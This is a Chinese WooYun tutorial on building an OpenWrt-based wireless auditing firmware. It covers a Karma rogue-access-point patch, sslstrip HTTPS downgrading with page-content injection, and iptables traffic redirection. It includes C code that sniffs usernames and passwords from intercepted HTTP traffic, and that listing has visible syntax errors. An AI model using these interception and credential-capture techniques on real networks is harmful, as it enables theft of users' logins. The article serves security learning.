WooYun WIFI 成長史

wyzsk發表於2020-08-19
作者: lxj616 · 2014/10/20 14:32

第一章:失傳的菠蘿神話


0x00 前言:


WooyunWifi是一款基於Openwrt開發的無線審計測試韌體,內建整合了眾多著名無線/網路審計工具,並基於Ngrep+sslstrip開發了原創工具及BS架構管理介面。 本系列文章將詳細講解 無線安全、網路安全、嵌入式開發、前端Bootstrap介面設計、後臺PHP程式設計、Shell Script編寫、C語言有限自動機設計、Python網路程式設計、Linux高階命令、路由器常識概念 等相關內容

本章概括了WooyunWifi的技術架構以及功能實現理論。

0x01 菠蘿神話:


由於wifi pineapple支援的路由器有限(事實上除了它自己銷售的那一款,其他的路由器都沒辦法完全正常執行),因此網上出現了各種“移植”的教程,只為一睹神器真容,然而多數人最終失敗,少數人在付出了巨大代價後才勉強成功。 Wifi pineapple自稱開源,但事實上並非如此,其公開的原始碼陳舊而混亂,也沒有充足的文件以供分析。 菠蘿神話已經失傳,只剩國外壟斷銷售的駭客路由器與一群心懷不軌的購買者,技術研究的氣氛 和 自由公開的精神 早已不見了蹤影。 如果你真的好奇大菠蘿到底是怎樣實現的,如果你真的想看到確鑿的技術細節,那麼跟我來體驗一把求真求實、自由共享的烏雲白帽“安全實踐”吧 注:根據有關法律法規,我們正在仔細評估並設計該韌體的”安全使用”限制,儘管遵守GPL協議,在”安全使用”評估設計完成之前不會公開原始碼,也不會向公眾釋出韌體。

0x02 架構設計:


先展示一下WooyunWifi的架構圖(Wooyun Wifi簡稱Woofi):

enter image description here

1、 PHP+Bootstrap的組合大家已經在烏雲靶場專案中見過了,不過由於路由器環境限制和開源工具資料儲存特性,經過考慮不使用Mysql資料庫儲存資料,直接使用文字方式儲存資料內容。

2、 資料處理則考慮到路由器效能問題(大量實時資料包處理)採用C語言自動機實現

3、 使用Shell程式設計簡化了一些控制配置,fate0修復了一個sslstrip的官方bug

簡而言之,工作流程是這樣的:使用者登入192.168.16.2,看到uhttpd上的index首頁,然後後臺PHP處理使用者的操作,呼叫了一些輔助性Shell script,然後比如控制把ngrep抓到的資料實時交給WoofiTools中的mailsniff做資料處理,然後結果以文字形式儲存。PHP把文字儲存的資料讀取處理,結合uhttpd返回給使用者頁面。

如果接下來各種程式設計我都是一句話帶過然後瘋狂貼程式碼,那麼這篇文章也和那些炫耀貼毫無區別了,並無冒犯之意,我也從很多“一句話輕描淡寫”部落格中學習了很多知識,只不過由於文章細節不清,BUG和失敗的次數令我覺得難以忍受……所以,接下來我不僅要告訴大家我是怎樣實現的程式,而且要告訴大家我為什麼要這樣寫程式。

0x03 實現方案的演變:


在我還沒有開始設計之前,我考慮過幾種實現方案

1、 基於大菠蘿二次開發,修改程式碼重新編譯到其他路由器上。這個當時是我的首選方案,直到我發現大菠蘿根本沒有完全公開原始碼,因此徹底不可行

2、 整合開源軟體,做開源軟體的WEB UI和各種前提配置。當時覺得這樣完全不比大菠蘿二次開發複雜,直到我發現很多開源軟體年久失修BUG成群,能修復的儘量修復,修不好的只能重新開發了。

3、 整合各種必要的library,自己從頭開發功能程式,這樣很明顯會有重複造輪子的浪費,不過由於發現有些開源軟體無法正常使用,因此也是沒辦法的選擇,當然我也會把那些能夠使用的開源軟體加以利用

於是,本想著改改大菠蘿程式碼就可以了,結果變成了重新整合開源軟體做 WEB UI 於是,本想著重新整合開源軟體做 WEB UI就可以了,結果需要部分底層工具重新開發

發生這種情況一方面是由於預研不到位,以及SE對技術難度的預判有誤,而導致專案規劃和實際執行嚴重錯位,這麼巨大的技術難度偏差很可能導致專案流產。 那麼這個專案是怎麼來的呢?那就要從2014/7/30的下午說起……

社群裡小夥伴發了個思想無比前衛的帖子:Anymous《設想wooyun智慧路由改造openwrt[email protected],瞌睡龍大人把這個光榮的任務交給了我,我當時想了一下答道:“如果只是改改大菠蘿原始碼,不會很難” 事實證明,我在沒有預研的情況下錯判了專案技術難度,看來還有好多的東西要學~

感想:

越是看上去簡單的事情,做起來就越複雜。事情即使再複雜,只要做完了就會變得簡單

0x04 工具原理:


1、 嗅探使用ngrep+自己寫的C語言自動機,以及sslstrip+自己寫的C語言自動機

2、 MITM系列功能使用二次開發過的sslstrip來實現

3、 無線審計開源工具不用修改,直接做WEB UI就可以了(我又錯了,karma把我擊敗了)

4、 Karma(未完成)透過建立AP並給任意ssid的請求進行響應和服務,達到劫持的目的

Karma原理詳解:

首先Karma需要建立一個能夠用來劫持使用者的AP(比如說利用hostapd),然後對hostapd原始碼進行patch,使之可以無視請求中的ssid提供服務

enter image description here

(預設情況下,若ssid不一致,hostapd會報告異常,因此為了實現karma功能需要hostapd去除ssid檢查)

部分重要patch如下:

enter image description here

即如果karma_beacon_respond選項開啟則無視ssid的檢查,補丁原作者在截圖中有顯示,我只是把他的針對hostapd 2.0補丁重新做到了hostapd最新版20140603上而已

PS:製作補丁/使用補丁的方式請參見http://wiki.openwrt.org/doc/devel/patches

再PS:在refresh之後一定要記住把生成好的補丁複製出來備份,因為接下來的步驟會把補丁打進原始碼而刪除原補丁檔案!!!

而karma本身程式的執行邏輯是: 首先迴圈抓無線訊號幀(使用了airtap),然後每次抓到訊號幀都呼叫on_probe_request處理,在函式里面首先建立一個連結串列儲存請求的station資訊,之後傳送響應訊號幀

可惜我沒有成功跑起karma主程式,因為airtap呼叫了libpcap卻找不到對應的datalink decoder,暫時找不到解決方案

我曾經以為我熟悉這些工具的原理,直到開發過程中(以後文章詳解)遇到各種問題,才發現要真正的熟悉原理,不僅要知道工具做了什麼,而且要知道工具為什麼這麼做。

0x05 Luci的簡要分析:


我們使用Openwrt自己的Luci進行常規功能的管理,因為Luci自己的功能其實是很強大的。我曾經一度想要在Luci之上開發我們的WooyunWifi WEB介面,但是由於cgi和lua指令碼都比較陌生,所以為了敏捷開發,還是選擇了PHP 請注意:部分Openwrt版本的Luci不支援網路中繼功能(就是作為client連線一個Wifi然後再作為AP播出一個Wifi),我選擇的最新barrier_breaker是有這個功能的 另外,Luci依賴uhttpd,因此正好PHP也放在uhttpd上了

對了,不要自己亂改/etc/config/wireless配置,因為Luci會出BUG

0x06 投影至烏雲峰會irc上:


這個是臨時功能,為了烏雲峰會設計的,從各種sniff中posturl到服務端,然後fate0在瞌睡龍大人的weechat裡做了個python外掛,我只是post資料,沒有實際參與,因此不知道相關細節。 展示出的程式碼中沒有該功能

第二章:路由器的先天技能


0x00 前言:


本章概括了WooyunWifi基於Openwrt的原始碼編譯及整合方式。

0x01 編譯Openwrt:

我使用的是Ubuntu麒麟14.04:

首先要看官方文件,而不是胡亂百度 http://wiki.openwrt.org/doc/howto/easy.build

官方文件中的這一句

svn co -r 36088 svn://svn.openwrt.org/openwrt/branches/attitude_adjustment

是檢出36088版的attitude_adjustment分支原始碼,最新版是trunk,新功能多,支援的晶片多,但是穩定的軟體包少。為了支援極路由,我選擇的是最新版barrier_breaker分支,不要忘記去掉-r 36088以檢出最新版本的原始碼。

svn co svn://svn.openwrt.org/openwrt/branches/barrier_breaker

官方文件中的這一句:

./scripts/feeds update –a

可能會因為國內偶爾連不上googlecode而失敗,如果你不需要那些在googlecode上的軟體包,你可以無視失敗資訊進行

./scripts/feeds install -a

(因為會報告index問題,所以要加-a) 如果正好googlecode上放的是你需要的軟體包,請自行尋找連線google的方式吧

然後

~/20140818/barrier_breaker$ make menuconfig

進行配置

enter image description here

第一項是目標晶片型號,不知道自己路由器晶片型號的Google去吧,第二項選項是NAND什麼的設定視情況選擇,第三項是你的路由器型號,我這裡選擇了極路由,只有在選對了晶片型別後才會可選,其它選項都比較易懂,如果用到再說

enter image description here

選擇編譯的軟體包時,星號代表編譯進韌體,M代表編譯安裝包但不放進韌體,內建某些軟體包時會自動選中依賴項

Q:為什麼選項裡沒有我要的軟體包?

A:可能你沒feeds update install,也可能是你svn檢出的版本不對

然後就是儲存

make V=s

有很多人喜歡 j4多執行緒編譯,如果你是第一次編譯,強烈建議你不要這樣做,因為你一旦遇到錯誤輸出的東西比較混亂,查日誌很麻煩 然後就是遇到連線錯誤,重新make V=s,還是連線不上,那就和想辦法上國外網站同一個道理,如果校驗出錯,刪掉dl資料夾下的錯誤檔案重新 make V=s,視報錯針對性解決

如果編譯完成,會在

bin/晶片型號/

下面出現編譯好的韌體 比如:openwrt-ar71xx-generic-hiwifi-hc6361-squashfs-sysupgrade.bin 這就是squashfs的極路由韌體

再比如:openwrt-ar71xx-generic-wndr3800-squashfs-factory.img 這就是squashfs的netgear wndr3800 韌體

刷機方法一般可用路由器後臺介面上傳韌體刷機,也可根據說明書使用TFTP刷機,如果有經驗也可以線刷

0x02 開源工具的評測:


1、 Ngrep:之所以不使用tcpdump是因為ngrep提供了更簡便的資料處理和輸出,執行時很穩定,用它開發了cookiesniff、passsniff、mailsniff等工具

2、 Dsniff:密碼嗅探不理想,安裝它是為了其中的urlsnarf等工具,相對而言還是自己開發的ngrep+各種sniff不丟包更穩定,話說Http的密碼它根本嗅探不到啊,不知道是不是我配置的問題。

3、 SSlstrip:官方版本就存在著BUG,不能執行,多虧fate0挺身而出修復了這個BUG,於是我們的Mitm也可以基於sslstrip設計了

4、 Ettercap:由於Openwrt官方自帶的版本過度古老,因此BUG很多(各種網上已知的bug),不適合做二次開發,因此只整合不做WEB UI。

5、 Karma:不能夠正常使用,需要大量修改(暫未完成)

6、 Aircrack-ng:還沒測試

7、 Reaver:還沒測試

0x03 fate0修復sslstrip:


使用sslstrip的時候報錯:

exceptions.AttributeError: ClientRequest instance has no attribute 'responseHeaders'

fate0透過對sslstrip原始碼的檢查,發現了sslstrip整合的twisted版本過於古老,因此建議我更新twisted,但是我發現新版本的twisted容量太大,整合到路由器上不現實,因此Openwrt才會一直整合古老版本的twisted(而且發現它還是縮水的)。

於是只好求fate0改sslstrip程式碼,fate0除錯之後發現了問題所在:

ServerConnection.py

elif (key.lower() == 'set-cookie'):
            #import pdb
            #pdb.set_trace()
            #self.client.responseHeaders.addRawHeader(key, value)
            self.client.setHeader("test_key", "test_value")
            #self.client.setHeader(key, value)
            self.client.cookies.append(value)
        else:
            self.client.setHeader(key, value)

由於#self.client.responseHeaders.addRawHeader(key, value)這一句沒有responseHeaders,因此造成exception

那麼,sslstrip這樣設計的目的是什麼呢?我們知道,set-cookie可能會有很多個,而self.client.setHeader(key, value)會毫不猶豫地覆蓋掉之前的set-cookie,因此這段程式碼的目的是addRawHeader實現多個set-cookie header

因此,fate0用self.client.cookies.append(value)實現了這一功能,修復完畢

0x04 製作修復後的sslstrip軟體包:


修改sslstrip的Makefile,改為從本地下載(我搭了個nginx),別忘改md5校驗哦

enter image description here

然後把修復後的ServerConnection.py打進壓縮包,放在自己nginx即可

0x05 製作自己的軟體包:


請優先參閱官方文件

例:package/wooyun/wooyunwifi/Makefile

#
# Copyright (C) 2011-2012 OpenWrt.org
#
# This is free software, licensed under the GNU General Public License v2.
# See /LICENSE for more information.
#

include $(TOPDIR)/rules.mk

PKG_NAME:=wooyunwifi
PKG_RELEASE:=1

include $(INCLUDE_DIR)/package.mk

define Package/wooyunwifi
  SECTION:=wooyun
  CATEGORY:=wooyunwifi
  TITLE:=wooyunwifi
  MAINTAINER:=lxj616
endef

define Package/wooyunwifi/description
 Wooyun Wifi is a whitehat wifi auditing toolsuite based
 on Openwrt , Have fun testing security issues on your 
 own wifi network ,serves study purpose only, license GPL
                                    ------ [email protected]
endef

define Build/Prepare
    $(INSTALL_DIR) $(PKG_BUILD_DIR)
    把src裡面的原始檔複製到build地點(不然編譯時找不到)
    $(INSTALL_DATA) ./src/cookiesniff.c $(PKG_BUILD_DIR)/
    $(INSTALL_DATA) ./src/passsniff.c $(PKG_BUILD_DIR)/
    $(INSTALL_DATA) ./src/mailsniff.c $(PKG_BUILD_DIR)/
    $(INSTALL_DATA) ./src/stripsslstrip.c $(PKG_BUILD_DIR)/
    把不需要編譯的資料夾和檔案也複製過去
    $(CP) ./WooyunWifi $(PKG_BUILD_DIR)/
    $(CP) ./index.html $(PKG_BUILD_DIR)/
    $(CP) ./conf $(PKG_BUILD_DIR)/
endef

define Build/Compile
    編譯原始檔,如果之前沒複製這步就找不到,用的是交叉編譯
    $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
        -o $(PKG_BUILD_DIR)/cookiesniff $(PKG_BUILD_DIR)/cookiesniff.c
    $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
        -o $(PKG_BUILD_DIR)/passsniff $(PKG_BUILD_DIR)/passsniff.c
    $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
        -o $(PKG_BUILD_DIR)/mailsniff $(PKG_BUILD_DIR)/mailsniff.c
    $(TARGET_CC) $(TARGET_CFLAGS) -Wall \
        -o $(PKG_BUILD_DIR)/stripsslstrip $(PKG_BUILD_DIR)/stripsslstrip.c
endef

define Package/wooyunwifi/install
    新建資料夾準備複製
    $(INSTALL_DIR) $(1)/usr/bin
    $(INSTALL_DIR) $(1)/etc/wooyunwifi
    複製編譯好的檔案到可以執行的地方
    $(INSTALL_BIN) $(PKG_BUILD_DIR)/cookiesniff $(1)/usr/bin/
    $(INSTALL_BIN) $(PKG_BUILD_DIR)/passsniff $(1)/usr/bin/
    $(INSTALL_BIN) $(PKG_BUILD_DIR)/mailsniff $(1)/usr/bin/
    $(INSTALL_BIN) $(PKG_BUILD_DIR)/stripsslstrip $(1)/usr/bin/
    $(INSTALL_DIR) $(1)/www
    直接複製各種檔案
    $(CP) $(PKG_BUILD_DIR)/WooyunWifi $(1)/www
    $(CP) $(PKG_BUILD_DIR)/index.html $(1)/www
    $(CP) $(PKG_BUILD_DIR)/conf/basepath.conf $(1)/etc/wooyunwifi
endef

$(eval $(call BuildPackage,wooyunwifi))

然後再make menuconfig就可以看到自己的軟體包了,然後正常編譯即可,如果報錯注意修改軟體包配置

第三章:路由器的漂亮介面


0x00 前言:


本章概括了WooyunWifi的WEB端功能實現。

0x01 PHP:


我曾經考慮,可不可以只用html+cgi實現所有的功能,但考慮到WEB管理的業務需求比較寬鬆,因此採用PHP敏捷開發更加快速。 Menuconfig時,額外選擇language – PHP – php-mod-session用作登入控制,同理可整合其它所需外掛 為了使uhttpd支援PHP,修改package/network/services/uhttpd/files/uhttpd.config 去掉list interpreter php 的註釋符號,其它配置同理

enter image description here

以sslstrip外掛的設計為例進行說明

enter image description here

/WooyunWifi/sslstrip.inc

$ison=shell_exec("ps|awk '{print $6}'|grep sslstrip");

在PHP中隨時使用shell_execexec執行linux命令獲取工具狀態,並且判斷顯示開關的狀態,之後就是常規的PHP程式設計了

不過在設計中出現了一個小問題,那就是一些命令比如說ngrep在執行時會掛在那裡持續執行,這就導致PHP指令碼無法繼續執行,比較奇怪的是nohup &在php裡面沒有效果,只有先用PHP sh ***.sh,然後在shell 指令碼中才會正常後臺執行,因此:

sson.php

<script>
var xmlhttp;
xmlhttp=new XMLHttpRequest();
<?php
echo 'xmlhttp.open("GET","sslstripon.php",true)';
?>
xmlhttp.send();
var t=setTimeout("window.location.href=\"/WooyunWifi/index.php?action=sslstrip\";",1000);
</script>

先非同步請求,然後等待1s跳轉回去(解決後面500 bad gateway問題)

sslstripon.php

shell_exec("./test2.sh ".$basepath."&");

接到請求,執行shell指令碼(還是會掛在這裡不能繼續執行)

Test2.sh

#!/bin/sh

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-ports 10000

echo "1" > ${1}/sslstrip.log
sslstrip -w ${1}/sslstrip.log -l 10000 &
tail -f ${1}/sslstrip.log|stripsslstrip &

kill $(ps|grep "php-cgi"|awk '{print $1}') &

結束掉php-cgi的程式,因為uhttpd是一個單執行緒伺服器,因此php-cgi掛在那裡就會導致伺服器無響應,kill掉之後伺服器才能響應其他請求。

所以流程是這樣的: 1、 使用者開啟頁面 2、 PHP執行shell命令,判斷sslstrip是否正在執行,如果不是,返回“啟動”按鈕 3、 使用者點選啟動按鈕 4、 到sson.php中非同步請求sslstripon.php,然後…… 5、 sslstripon.php呼叫test2.sh,後臺執行sslstrip,然後test2.sh kill掉php-cgi,於是sslstripon.php執行完畢(返回500 bad gateway),但是使用者在sson.php中等待1s後返回主介面了,所以看不到500錯誤

繞了個圈解決了單執行緒伺服器的阻塞問題,不過這樣看來軟體架構怪怪的,先實現功能再說,以後再改進吧

大家可能會有這樣的疑問: 你在PHP中執行shell命令時難道不是www-data許可權嗎? 如何執行tcpdump之類的高許可權程式呢?

其實我之前也特地設計了用sudoer解決許可權問題的方案,只不過後來我發現(個人猜測),Openwrt這類的嵌入式系統許可權和使用者組並不嚴格,直接就是root執行一切程式了

0x02 Bootstrap前端設計:


線上畫了個框架,然後放在路由器上一邊vi一邊重新整理瀏覽器

enter image description here

0x03 MITM功能設計:


因為這個功能主要是在應用層實現的,而且和WEB相關協議聯絡比較密切,所以放在WEB層來探討這個問題。 首先我們來分析一下解決這個功能的可選方案:

1、 在傳輸層使用transparent proxy做MITM資料包擷取/修改 2、 在應用層使用HTTP雙向通訊模型做MITM內容擷取/修改

剛開始的思路是做一個transparent proxy,但是發現由於資料包分段以及gzip格式傳輸,導致傳輸層做HTTP內容注入比較複雜,而且其他協議的資料包又不具備通用性的MITM介入方式,因此綜合看來還是做應用層HTTP協議的雙向通訊模型比較簡便。

而我們知道,SSlstrip就是基於這種應用層雙向通訊模型構建的,我們可以借用SSlstrip的程式碼進行改造

ServerConnection.py

    def replaceSecureLinks(self, data):
        iterator = re.finditer(ServerConnection.urlExpression, data)

        for match in iterator:
            url = match.group()

            logging.debug("Found secure reference: " + url)

            url = url.replace('https://', 'http://', 1)
            url = url.replace('&amp;', '&')
            self.urlMonitor.addSecureLink(self.client.getClientIP(), url)

        data = re.sub(ServerConnection.urlExplicitPort, r'http://\1/', data)

        #在這裡對data進行處理,即可完成MITM介入
        #這個函式本來的功能是替換https為http普通連結
        #在此之前已經完成了對gzip的解壓,以及建立了雙向連線

        replaceconfig=os.popen('cat /etc/wooyunwifi/replace.conf').readlines()
        data = data.replace(replaceconfig[0].strip(),replaceconfig[1].strip())

        #其實就兩句話,看上去很簡單,哈

        return re.sub(ServerConnection.urlType, 'http://', data)

再做個WEB頁面 至此,MITM設計完畢

感想:寫一句程式碼只需要一分鐘,但知道這行程式碼寫在哪需要一天

enter image description here

既然WEB控制端設計好了,開始做model層的資料處理工具吧!

第四章:路由器的資料處理


0x00 前言:


本章概括了WooyunWifi的model層資料處理功能實現。

0x01 交叉編譯:


我們在本地編譯一個Linux程式:

gcc -o mailsniff mailsniff.c
./mailsniff.c 

在本地可以正常執行

而我們要編譯一個在路由器上可以執行的程式,又不能給路由器安裝gcc,那怎麼辦呢?

我們採取交叉編譯在本地編譯路由器中的程式:

./barrier_breaker/staging_dir/toolchain-mips_34kc_gcc-4.8-linaro_uClibc-0.9.33.2/bin/mips-openwrt-linux-gcc -o mailsniff mailsniff.c

這裡的交叉編譯工具鏈跟你的路由器晶片型號有關,需要你先選擇toolchains編譯make V=s後才會出現,當然你也可以從downloads.openwrt.org直接下載對應晶片型號的toolchains

如何製作軟體包整合進韌體在第二章介紹,此處不再贅述

0x02 資料互動:


例項說明:

echo "1" > ${1}/sslstrip.log

將echo的結果寫入檔案(basepath從外部PHP呼叫傳入)

ngrep -l -q -W byline -d $1 port 110 or 143 or 25|mailsniff

將ngrep的stdout接到mailsniff的stdin上(device從外部PHP呼叫傳入)

注意:這裡的ngrep -l 選項是為了使ngrep的stdout以行為單位緩衝,避免由於資料緩衝導致的資料不及時同步問題

而sslstrip本身是輸出一個log檔案

sslstrip -w ${1}/sslstrip.log -l 10000 & 
tail -f ${1}/sslstrip.log|stripsslstrip &

使用tail就可以實現實時輸出

0x03 自動機設計:


以passsniff為例介紹C語言自動機設計:

/*
    code by [email protected]
*/
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>

//Openwrt預設許可權可以讀寫etc下檔案
void get_basepath(char *basepath)
{
    FILE *fp1;
    fp1 = fopen("/etc/wooyunwifi/basepath.conf","r");
    fscanf(fp1,"%s",basepath);  
    fclose(fp1);
}

//解析URL中使用者名稱和密碼
void strip_pass(char *basepath,char *buffer,char *host)
{
    int i;
    int flag=0;
    char *user;
    char *pass;
    user=strstr(buffer,"user");
    pass=strstr(buffer,"pass");

    if(user&&pass)
    {
        user=strstr(user,"=")+1;
        pass=strstr(pass,"=")+1;

        for(i=0;user[i]!='\0'&&flag==0;i++)
        {
            if(user[i]=='&')
            {
                user[i]='\0';
                flag=1;
            }
        }
        flag=0;
        for(i=0;pass[i]!='\0'&&flag==0;i++)
        {
            if(pass[i]=='&')
            {
                pass[i]='\0';
                flag=1;
            }
        }
    }
    else 
    {
        strcpy(user,"unknown");     strcpy(pass,"unknown");     }   update_log(basepath,host,user,pass); } 
//寫文字檔案儲存資訊
void writeLog(char *path,char *user,char *pass)
{
    FILE *fp = fopen(path,"a");
    fputs("\r\n",fp);
    fputs(user,fp);
    fputs("\r\n",fp)
    fputs(pass,fp);
    fputs("\r\n",fp);
    fflush(stdout);
    fclose(fp);
}

//寫檔案,以host命名,因為是直接讀的Host: ***.com,因此去掉前面的字首
void update_log(char *basepath,char *host,char *user,char *pass)
{
    char tmppath[1629];
    strcpy(tmppath,basepath);
    strcat(tmppath,"/passdump/");
    writeLog(strcat(tmppath,host+6),user,pass);
}


int main()
{
    char basepath2[128];
    char basepath[128];
    char buffer[1629]="0";
    char pass[1629]="0";
    char pass2[1629]="0";
    char host[1629]="0";
    char host2[1629]="0";
    int flag=0;

    char mkdir[128]="mkdir "; 

    get_basepath(basepath);

    strcat(mkdir,basepath);
    strcat(mkdir,"/passdump");

    //先保證存在儲存的資料夾
    system(mkdir);

    while(1)
    {
        fgets(buffer,1628,stdin);
        //如果是空行,代表一個資料包結束 或者 緊接著POST內容
        if(strcmp(buffer,"\n")==0)
        {
            //已經出現了記錄?寫檔案然後清空當前密碼記錄
            if((strcmp(host,"0")!=0)&&(strcmp(pass,"0")!=0))
            {
                //幹掉referer,免得一個密碼記錄好多次
                if(!strstr(pass,"Referer:"))
                {
                    strip_pass(basepath,pass,host);
                    printf("\n\n");
                }
                strcpy(pass,"0");
            }
        }
        else if(strstr(buffer,"Host:"))
        {
            //去掉0x0a和0x0d
            buffer[strlen(buffer)-2]='\0';
            strcpy(host,buffer);
        }
        else if(strstr(buffer,"user")&&strstr(buffer,"pass"))
        {
            //去掉0x0a和0x0d
            buffer[strlen(buffer)-2]='\0';
            strcpy(pass,buffer);
        }
        //buffer[strlen(buffer)-2]='\0';
    }
    return 0;
}

概括起來我們的自動機做了以下事情:

1、 Ngrep嗅探PHP指定的device資料包,篩選80埠HTTP請求,然後把stdout轉接到我們的自動機stdin上 2、 C語言自動機不斷按行讀取stdin中的輸入,不停檢測密碼資訊以及Host資訊,但資料包結束後,判斷是否截獲密碼資訊,如果是,追加寫入文字記錄檔案 3、 自動機本身不會停止工作,必須依靠PHP+Shellscript來外部kill掉

0x04 為什麼不用python:


字元處理,還是python方便,但是我們真的很需要“效率”,無論是從記憶體佔用還是資料包延遲來說,C語言仍然佔據了不可替代的優勢(其實也沒那麼懸殊,只不過自動機程式比較簡單,因此對C熟練的話不會很吃力) 還有一個重要的原因是:當初我以為會涉及到kernel的資料包修改,後來寫完自動機才發現原來想多了,所以C語言反倒只用來寫了幾個自動機,唉……

0x05 使用iptables重定向流量

例:

iptables -t nat -A PREROUTING -s 192.168.16.249 -p tcp --dport 80 -j DNAT --to-destination 192.168.16.134:8029
iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 80 -j MASQUERADE
iptables -t nat -A POSTROUTING -p tcp -d 192.168.16.134 --dport 8029 -j MASQUERADE

由此一方面可以將流量重定向到自己的proxy上(是transparrent proxy),也可以直接轉發到其他ip(如burpsuite)

至此,WooyunWifi設計完成,大家可能會覺得“哇,還是很簡單的嘛”,如果大家真的打算試一下全過程,請務必要看《WooyunWifi 第五章:十萬個變磚方法》

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章